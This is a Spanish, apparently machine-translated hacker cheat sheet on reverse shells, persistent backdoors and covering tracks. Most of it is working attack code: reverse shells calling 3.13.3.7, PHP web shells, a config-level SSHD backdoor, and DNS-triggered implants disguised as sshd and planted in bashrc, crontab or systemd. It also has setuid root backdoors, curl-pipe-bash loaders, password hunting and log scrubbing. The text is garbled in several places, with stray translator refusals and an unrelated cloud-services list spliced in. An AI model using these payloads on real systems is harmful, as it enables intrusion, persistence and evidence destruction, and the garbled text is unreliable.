Inicia netcat para escuchar en el puerto 1524 en tu sistema:```sh nc -nvlp 1524

root@kitploit:~
Después de la conexión, [mejora](#reverse-shell-interactive) tu shell a un shell PTY totalmente interactivo. Alternativamente, usa [pwncat-cs](https://pwncat.org/) en lugar de netcat:```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.

En el sistema remoto, este comando se conectará de vuelta a tu sistema (IP = 3.13.3.7, Puerto 1524) y te dará un prompt de shell:```sh

If the current shell is Bash already:

(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)

If the current shell is NOT Bash then we need:

bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'

or hide the bash process as 'kqueue'

bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'

root@kitploit:~
Alternativamente, en el sistema remoto, coloca esto en `~/.profile` o crontab para reiniciar el shell de conexión inversa (y también evita que se inicien múltiples instancias):```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)

5.i.c. Reverse shell con cURL (cifrada)

Use curlshell. Esto también funciona a través de proxies y cuando la conexión TCP directa con el mundo exterior está prohibida:```sh

On YOUR workstation

Generate SSL keys:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"

Start your listening server:

./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080

root@kitploit:~
```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash

5.i.d Shell inversa con cURL (texto plano)

Inicia ncat para escuchar múltiples conexiones:```sh ncat -kltv 1524

root@kitploit:~
```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null

5.i.e. Shell reversa con OpenSSL (cifrado)```sh

On YOUR workstation:

Generate SSL keys:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"

Start your listening server:

openssl s_server -port 1524 -cert cert.pem -key key.pem

Or pwncat:

pwncat -lp 1524 --ssl

root@kitploit:~
### TCP inverso x86 64-bit

```bash
nc -nvlp 4444
root@kitploit:~
msfvenom -p linux/x64/shell_reverse_tcp lhost=eth0 lport=4444 -f elf -o shell

Al usar localhost en lugar de LHOST, asegúrese de que la interfaz de red que asigne tenga una dirección IP equivalente a la que usará la máquina objetivo para comunicarse. Elegir una interfaz sin una dirección IP configurada puede provocar que el payload falle y cierre el programa en el que se inyecta.

Puerto TCP predeterminado para análisis

root@kitploit:~
tcpdump -nvvvXi eth0 tcp port 443
``````sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )

5.i.f. Shell inversa sin /dev/tcp

Los sistemas embebidos no siempre tienen Bash y el truco de /dev/tcp/ no funcionará. Hay muchas otras formas (Python, PHP, Perl, ..). Nuestra favorita es subir netcat y usar netcat o telnet:

En el sistema remoto:```sh nc -e /bin/sh -vn 3.13.3.7 1524

root@kitploit:~
Variante si *'-e'* no es compatible:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :
  • En shells modernos esto se puede acortar a { nc 3.13.3.7 1524 </dev/fd/2|sh;} 2>&1|:. (gracias IA_PD).
  • El truco de | : no funciona en C-Shell/tcsh (FreeBSD), la Bourne shell original (Solaris) ni la Korn shell (AIX). Usa mkfifo en su lugar.

Variante para /bin/sh antiguo:```sh mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io

root@kitploit:~
Variante Telnet:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io

Variante de Telnet cuando mkfifo no es compatible (¡Ulg!):```sh touch /tmp/.fio; tail -f /tmp/.fio | sh -i | telnet 3.13.3.7 31337 >/tmp/.fio

root@kitploit:~
Nota: No olvides ejecutar `rm /tmp/.fio` después de iniciar sesión.



<a id="revese-shell-remote-moe"></a>
**5.i.h. Reverse shell con remote.moe y ssh (cifrado)**

Es posible tunelizar TCP crudo (por ejemplo, una reverse shell de bash) a través de [remote.moe](https://remote.moe):

En tu estación de trabajo:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r  # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe

# Second Terminal - start listening for the reverse shell
nc -vnlp 8080

En el objetivo (necesita SSH y Bash):```sh bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe; bash -i &>/dev/tcp/0/31338 0>&1 &)'

root@kitploit:~
En el objetivo (alternativa; necesita ssh, bash y mkfifo):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p  2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)

Shell inversa con Python```sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

root@kitploit:~
<a id="reverse-shell-perl"></a>
**5.i.j. Shell inversa con Perl**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

5.i.k. Reverse shell con PHP```sh php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'

root@kitploit:~
<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. Mejorar una reverse shell a una shell PTY**

Cualquiera de las reverse shells anteriores es limitada. Por ejemplo, *sudo bash* o *top* no funcionarán. Para que funcionen, tenemos que mejorar la shell a una shell PTY real:```sh
# Using script
exec script -qc /bin/bash /dev/null  # Linux
exec script -q /dev/null /bin/bash   # BSD

I'm sorry, but it appears the input content is missing — there is no text to translate. Please provide the chunk content you'd like translated.```sh

Using python

exec python -c 'import pty; pty.spawn("/bin/bash")'

root@kitploit:~
<a id="reverse-shell-interactive"></a>
**5.ii.b. Mejorar una reverse shell a una shell totalmente interactiva**

...y si también queremos usar Ctrl-C, etc., entonces tenemos que llegar hasta el final y mejorar la reverse shell a una verdadera shell interactiva completamente colorida:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.

2. Tipo de Servicio

Identifica el tipo de servicio que se está ejecutando.

  1. Servicios de cómputo: se centran en cargas de trabajo de cómputo. AWS: EC2, Lambda, AWS Batch, Auto Scaling, Lightsail; GCP: Compute Engine, Cloud Functions, Cloud Run, App Engine; Azure: Virtual Machines, Azure Functions, App Service, Virtual Machine Scale Sets, Batch.
  2. Servicios de contenedores: virtualización basada en contenedores. AWS: ECS, EKS, ECR; GCP: GKE, Cloud Run (también para contenedores), Artifact Registry; Azure: AKS, Azure Container Registry, Container Instances, App Service (soporta contenedores).
  3. Servicios de almacenamiento: soluciones de almacenamiento escalables. AWS: S3, EBS, EFS, Glacier; GCP: Cloud Storage, Persistent Disk, Filestore; Azure: Blob Storage, Disk Storage, Files, Archive Storage.
  4. Servicios de bases de datos: bases de datos gestionadas. AWS: RDS, DynamoDB, ElastiCache, Redshift; GCP: Cloud SQL, Bigtable, Spanner, Firestore; Azure: SQL Database, Cosmos DB, Cache for Redis, Synapse Analytics.
  5. Servicios de red: conectividad y distribución de red. AWS: VPC, Route 53, CloudFront, API Gateway, Direct Connect; GCP: VPC, Cloud DNS, Cloud CDN, Apigee, Cloud Interconnect; Azure: Virtual Network, DNS, CDN, API Management, ExpressRoute.
  6. Servicios de integración de aplicaciones: mensajería y encolado. AWS: SNS, SQS, EventBridge, Step Functions; GCP: Pub/Sub, Cloud Tasks, Cloud Scheduler, Eventarc, Workflows; Azure: Event Grid, Service Bus, Queue Storage, Logic Apps.
  7. Servicios de analítica: procesamiento y análisis de big data. AWS: EMR, Athena, Kinesis, Redshift, Glue, QuickSight; GCP: BigQuery, Dataflow, Dataproc, Pub/Sub, Data Fusion, Looker; Azure: HDInsight, Data Lake Analytics, Stream Analytics, Databricks, Data Factory, Synapse Analytics, Power BI.
  8. Servicios de Aprendizaje Automático e IA: construcción y despliegue de modelos de IA/ML. AWS: SageMaker, Rekognition, Comprehend; GCP: Vertex AI, AI Platform, AutoML, Vision AI, Natural Language AI; Azure: Machine Learning, Cognitive Services, Bot Service.
  9. Servicios de seguridad, identidad y cumplimiento: seguridad en la nube y gestión de acceso. AWS: IAM, KMS, WAF, Shield, GuardDuty, Macie, Security Hub, Cognito; GCP: IAM, KMS, Cloud Armor, Security Command Center, Identity Platform; Azure: Active Directory, Key Vault, Azure AD, Security Center, Sentinel, Defender for Cloud.
  10. Servicios de gestión y gobernanza: gestión y monitorización de recursos. AWS: CloudWatch, CloudTrail, Config, Systems Manager, CloudFormation, Control Tower, Organizations; GCP: Cloud Monitoring, Cloud Logging, Operations Suite, Cloud Asset Inventory, Deployment Manager, Resource Manager; Azure: Monitor, Policy, Blueprints, Resource Manager, Cost Management, Arc.
  11. Herramientas para desarrolladores: apoyo al SDLC. AWS: CodeCommit, CodeBuild, CodeDeploy, CodePipeline, Cloud9; GCP: Cloud Build, Cloud Source Repositories, Cloud Code, Container Registry; Azure: DevOps, DevTest Labs, Repos, Pipelines, Artifacts.

On your terminal execute:

stty raw -echo icrnl opost; fg

root@kitploit:~
El bloque de entrada está vacío: no se ha proporcionado ningún contenido que traducir.```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '

5.ii.c. Reverse shell con socat (totalmente interactivo)

...o instala socat y hazlo sin demasiado lío:```sh

on attacker's host (listener)

socat file:tty,raw,echo=0 tcp-listen:1524

on target host (reverse shell)

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524

root@kitploit:~
---
<a id="backdoor"></a>
## 6. Puertas traseras

Consulta [Reverse Shell / Dumb Shell](#reverse-shell) para shells reversas simples de una línea.

<a id="gsnc"></a>
**6.i. Shell reversa usando gs-netcat**

Principalmente usamos el script de despliegue automatizado de gs-netcat: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy).```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"

o```sh bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"

root@kitploit:~
o despliega gsocket ejecutando tu propio servidor de despliegue:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)"  # Notice '/ys' instead of '/y'

6.ii. Shell inversa con sshx.io (cifrada)

Accede a un shell remoto desde tu navegador web https://sshx.io.

Conecta sshx-backdoor directamente en memoria:```shell echo $(curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null
|nohup perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}"/usr/bin/python3",("-q")' 2>/dev/null
|{ read x;echo "$x";}&)

root@kitploit:~
O la forma cutre:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;

6.iii. Backdoor SSHD más pequeño

  • Sobrevive a apt update
  • No crea ningún archivo nuevo.
  • No usa authorized_keys ni PAM.

Agregar tu clave a authorized_keys está sobreutilizado 😩. En su lugar, como root, corta y pega esto una vez en cualquier objetivo. Añadirá una sola línea a la configuración de SSHD y te permitirá iniciar sesión para siempre:```shell backdoor_sshd() { local B="/etc/ssh" local K="${B}/ssh_host_ed25519_key" D="${B}/sshd_config.d" local N=$(cd "${D}" 2>/dev/null|| exit; shopt -s nullglob; echo .conf) [ ! -f "$K" ] && K="${B}/ssh_host_rsa_key" [ -n "$N" ] && N="${N%%.conf}.conf" N="${D}/${N:-50-cloud-init.conf}" [ ! -d "${D}" ] && N="${B}/sshd_config" { [ ! -f "$K" ] || [ ! -f "$K".pub ]; } && return grep -iqm1 '^PermitRootLogin\s+no' "${B}/sshd_config" && echo >&2 "WARN: PermitRootLogin blocking in sshd_config" echo -e "\e[0;31mYour id_ed25519 to log in to this server as any user:\e[0;33m\n$(cat "${K}")\e[0m" grep -qm1 '^AuthorizedKeysFile' "$N" 2>/dev/null && { echo >&2 "WARN: Already backdoored"; return; } echo -e "AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 ${K}.pub" >>"${N}" || return touch -r "$K" "$N" "$D"
&& declare -F ctime >/dev/null && ctime "$N" "$D" command -v systemctl >/dev/null && { systemctl restart ssh;:;} || service ssh restart } backdoor_sshd

root@kitploit:~
Cómo funciona:
- La clave de host de SSHD es solo una clave ed25519 ordinaria.
- Cualquier clave ed25519 puede usarse para autenticar a un usuario.
- SSHD verifica `~/.ssh/authorized_keys` (pero este truco ha sido sobreexplotado).
- En su lugar, configura SSHD para que también verifique `/etc/ssh/sshd_host_ed25519_key.pub` para claves de autenticación de inicio de sesión.
- SSHD ahora verificará `~/.ssh/authorized_keys` _y_ `/etc/ssh/ssh_host_ed25519_key.pub` para claves de inicio de sesión válidas.
- Usa la clave secreta `/etc/ssh/sshd_host_ed25519_key` para iniciar sesión en el objetivo.

<a id="backdoor-network"></a>
**6.vi. Acceso remoto a toda una red**

Instala [gs-netcat](https://github.com/hackerschoice/gsocket). Crea un nodo de salida SOCKS en la LAN privada del Host que es accesible a través de la Global Socket Relay Network sin necesidad de ejecutar tu propio servidor de retransmisión (p. ej., accede a la LAN privada remota directamente desde tu estación de trabajo):```sh
gs-netcat -l -S       # compromised Host

Ahora, desde tu estación de trabajo, puedes conectarte a CUALQUIER host en la LAN privada del Host:```sh gs-netcat -p 1080 # Your workstation.

Access route.local:22 on the Host's private LAN from your Workstation:

socat - "SOCKS4a:127.1:route.local:22"

root@kitploit:~
Lee [Usa cualquier herramienta a través de Socks Proxy](#scan-proxy).

Otros métodos:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - nuestro propio artículo
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - desde segfault.net a cualquier red (interna).

<a id="php-backdoor"></a>
**6.v. La puerta trasera PHP más pequeña**

Añade esta línea al principio de cualquier archivo PHP:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>

No se proporcionó contenido para traducir en este chunk (la entrada está vacía).```php if(isset($_POST[0])){system($_POST[0]);die;}

root@kitploit:~
Prueba la puerta trasera:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"

A veces system() está prohibido. Agrega eval() para permitir la ejecución remota de código PHP como respaldo. Oculta dentro de otros comentarios base64 para algo de ofuscación:```php

root@kitploit:~
Activa con cualquiera de estos para ejecutar código de comando o PHP:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'

6.vi. La backdoor más pequeña de túnel DNS inverso

...en PHP:

Ejecuta comandos arbitrarios en un servidor que no es accesible desde la Internet pública mediante un disparador de DNS inverso.

Agrega esta línea (el implante) al comienzo de cualquier archivo PHP:```php

root@kitploit:~
El implante solicita el payload mediante una solicitud DNS TXT desde el dominio `b00m.team-teso.net`. Cuando se activa, crea `/tmp/.b00m` y notifica a THC (a través de una callback de app.interactsh.com). *Por favor* usa tu propio dominio y crea también tu propio payload. Ejemplo:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0
  • La carga útil TXT de DNS está limitada a 2,048 caracteres (a veces 65,535 caracteres).
  • El implante es un bootloader. Usa un bucle while para descargar y ejecutar una carga útil más grande vía DNS.
  • Echa un vistazo a nuestros lugares favoritos para registrar un dominio de forma anónima. El plan gratuito de Cloudflare es un buen comienzo.

...en BASH:

Añade este implante al ~/.bashrc del objetivo o al crontab (demo-paypload):```shell

Use a "double bash" to redirect also errors from $()-subshell to /dev/null:

bash -c 'exec bash -c "{ $(dig +short b00m2.team-teso.net TXT|tr -d \ "|base64 -d);}"'&>/dev/null

root@kitploit:~
o cambia la demo-payload por un payload elaborado:
- Inicia un demonio en segundo plano que consulta cada hora la ejecución de comandos.
- Depende únicamente de bash, dig y base64.
- Se oculta como `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`
- El ejemplo usa `b00m2.team-teso.net` de nuevo y crea /tmp/.b00m cada hora.

Copia y pega lo siguiente en el shell del objetivo para generar el implante de una línea:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
	dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
	slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt

Añade el resultado de 1 línea del script a cualquier script de inicio en el objetivo (usa crontab, ~/.bashrc, udev o ExecStartPre=). Aquí tienes un ejemplo ingenioso para /usr/lib/systemd/system/ssh.service (con algo de ofuscación adicional):``` ... [Service] EnvironmentFile=-/etc/default/ssh Environment="SSHD=echo RD1iMDBtMi50ZWFtLXRlc28ubmV0ClA9InNzaGQ6IC91c3Ivc2Jpbi9zc2hkIC1EIFtsaXN0ZW5lcl0gMCBvZiAxMC0xMDAgc3RhcnR1cHMiCk09L2Rldi9zaG0vLmNhY2hlJHtVSUR9ClsgLWYgJE0gXSYmZXhpdAp0b3VjaCAkTQooZWNobyAnc2xwKCl7IGxvY2FsIElGUztbIC1uICIke19zZmQ6LX0iIF18fGV4ZWMge19zZmR9PD4gPCg6KTtyZWFkIC10JDEgLXUkX3NmZHx8Ojt9CnNscCAxCndoaWxlIDo7IGRvCmRpZyArc2hvcnQgJyIkRCInIFRYVHx0ciAtZCBcIFwifGJhc2U2NCAtZHxiYXNoCnNscCAzNjAwCmRvbmUnfGV4ZWMgLWEgIiRQIiBiYXNoICYpICY+L2Rldi9udWxsCg==|base64 -d|bash" ExecStartPre=-bash -c 'eval $SSHD' ExecStartPre=/usr/sbin/sshd -t ExecStart=/usr/sbin/sshd -D $SSHD_OPTS ...

root@kitploit:~
...en PERL:
---
Lo mismo pero solo necesitando perl + bash (no dig):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt

(gracias a LouCipher por una versión en perl)

...en PYTHON:

Corta y pega lo siguiente en tu shell:```shell pydnsbackdoorgen() { local str echo -e "This is the TXT record for ${1:?}\e[0;33m" base64 -w0 <"${2:?}" str="$(echo -en 'import dns.resolver\nexec(base64.b64decode("".join([d.to_text() for d in dns.resolver.resolve("'"${1:?}"'", "TXT").rrset])))' | base64 -w 0)" echo -e "\e[0m\nAdd this implant string to a target's python script:\e[0;32m" echo "exec('"'try:\n\timport base64\n\texec(base64.b64decode("'"${str}"'"))\nexcept:\n\tpass'"')" echo -e "\e[0m" }

root@kitploit:~
Genera tu payload (`egg.py` se ejecutará en el objetivo):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF

Genera tu implante (y sigue las instrucciones):```shell pydnsbackdoorgen b00mpy.team-teso.net egg.py

root@kitploit:~
<a id="ld-backdoor"></a>
**6.vii. Backdoor local de root**

#### 1. Crear una backdoor en el cargador dinámico con setcap```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"

Please provide the Markdown content to translate.```bash

Execute as non-root user to get root

fn="$(readlink -f /lib64/ld-.so.)" || fn="$(readlink -f /lib/ld-.so.)" || fn="/lib/ld-linux.so.2" p="$(command -v python3 2>/dev/null)" || p="$(command -v python)" "${fn:?}" "$p" -c 'import os;os.setuid(0);os.setgid(0);os.execlp("bash", "kdaemon")'

root@kitploit:~
#### 2. El clásico shell b00m```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null

I don't see any content to translate — the INPUT: section is empty. Please provide the source text for chunk 378 of 494, and I'll translate it from English to Spanish following all the specified rules.```shell exec /var/tmp/.b00m -p -c 'exec python -c "import os;os.setuid(0);os.execlp("bash", "kdaemon")"'

root@kitploit:~
<a id="implant"></a>
**6.viii. Implant autoextraíble**

Crea un script de shell autoextraíble usando [mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) (consulta el código fuente para ver ejemplos).

Ejemplo simple:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh

Real world examples are best:

  1. Crea un implante que instale gsocket y llame a nuestro webhook al tener éxito:```sh ./mkegg.sh egg.sh deploy-all.sh '(GS_WEBHOOK_KEY=e90d4b38-8285-490d-b5ab-a6d5c7c990a7 deploy-all.sh 2>/dev/null >/dev/null &)'

On the target system do: 'cat egg.sh | bash' or './egg.sh'

root@kitploit:~
2. Renombra `egg.sh` a `update-for-fools.txt` y súbelo como blob al repositorio de GitHub de [Signal](https://www.signal.org/).

3. No engañes a la gente para que actualice Signal usando este comando ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash

7. Reconocimiento de host


Obtén información esencial sobre un host:```sh bash -c "$(curl -fsSL https://thc.org/ws)"

root@kitploit:~
o```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"

netstat si no hay netstat/ss/lsof:```sh curl -fsSL https://raw.githubusercontent.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/master/tools/awk_netstat.sh | bash

root@kitploit:~
Comprobar la velocidad del sistema```sh
curl -fsSL https://bench.sh | bash
# Another speed check:  
# curl -fsSL https://yabs.sh | bash

Encuentra todos los binarios suid/sgid:``` find / -xdev -type f -perm /6000 -ls 2>/dev/null

root@kitploit:~
Encuentra todos los directorios escribibles:```bash
wfind() {
    local arr dir

    arr=("$@")
    while [[ ${#arr[@]} -gt 0 ]]; do
        dir=${arr[${#arr[@]}-1]}
        unset "arr[${#arr[@]}-1]"
        find "$dir"  -maxdepth 1 -type d -writable -ls 2>/dev/null
        IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
    done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr 

Encuentra contraseñas locales (usando noseyparker o trufflehog):```sh curl -o np -fsSL https://github.com/hackerschoice/binary/raw/main/tools/noseyparker-x86_64-static chmod 700 np &&
./np scan . &&
./np report --color=always | less -R

root@kitploit:~
- Usa [PassDetective](https://github.com/aydinnyunus/PassDetective) para encontrar contraseñas en ~/.*history
- Usa [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) para extraer y descifrar contraseñas de Chrome desde el proceso en ejecución (solo Windows)
- Extrae contraseñas de los navegadores usando [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor)

Usando `grep`:```sh
# Find passwords (without garbage).
grep -HEronasi  '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .

Buscar subdominios o correos electrónicos en archivos:```bash resolv() { while read -r x; do r="$(getent hosts "$x")" || continue; echo "${r%% *}"$'\t'"${x}"; done; } find_subdomains() { local d="${1//./\.}" local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}" local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)' [ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage : find_subdomains \nExample: find_subdomain .com | anew"; return; } shift 1 [ $# -le 0 ] && [ -t 0 ] && set -- . command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; } grep -Eaohr "$rex" "$@" | grep -Eo "$rexf" }

find_subdomain .foobar.com | anew | resolv

find_subdomain @gmail.com | anew

root@kitploit:~
---
<a id="shell-hacks"></a>
## 8. Trucos de Shell
<a id="shred"></a>
**8.i. Triturar y borrar un archivo**```sh
shred -z foobar.txt

I need to translate the provided input, but it appears the input is empty.```sh

SHRED without shred command

shred() { [[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; } dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1" rm -f "${1:?}" } shred foobar.txt

root@kitploit:~
Nota: O despliega tus archivos en el directorio */dev/shm* para que no se escriban datos en el disco duro. Los datos se eliminarán al reiniciar.

Nota: O elimina el archivo y luego llena todo el disco duro con /dev/urandom y después ejecuta rm -rf sobre el archivo de volcado.

<a id="restore-timestamp"></a>
**8.ii. Restaurar la fecha de un archivo**

Digamos que has modificado */etc/passwd* pero la fecha del archivo ahora muestra que */etc/passwd* ha sido modificado. Usa *touch* para cambiar la fecha del archivo a la fecha de otro archivo (en este ejemplo, */etc/shadow*).```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'

Utiliza hackshell y ctime /etc/passwd para ajustar también el ctime y la hora de creación.

8.iii. Limpiar el archivo de registro

Esto restablecerá el archivo de registro a 0 sin tener que reiniciar syslogd, etc.:```sh

/var/log/auth.log # or on old shells: cat /dev/null >/var/log/auth.log

root@kitploit:~
Esto eliminará cualquier línea que contenga la IP `1.2.3.4` del archivo de registro:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }

Ejemplos:```sh

xlog "1.2.3.4" /var/log/auth.log

xlog "${SSH_CLIENT%% *}" /var/log/auth.log

xlog "^2023.* thc.org" foo.log

root@kitploit:~
<a id="shell-hide-files"></a>
**8.iv. Ocultar archivos de ese usuario sin privilegios de root**

Nuestro directorio de trabajo favorito es */dev/shm/*. Esta ubicación es memoria volátil y se perderá al reiniciar. SIN LOGS == SIN CRIMEN.

Ocultar archivos permanentes:

Método 1:```sh
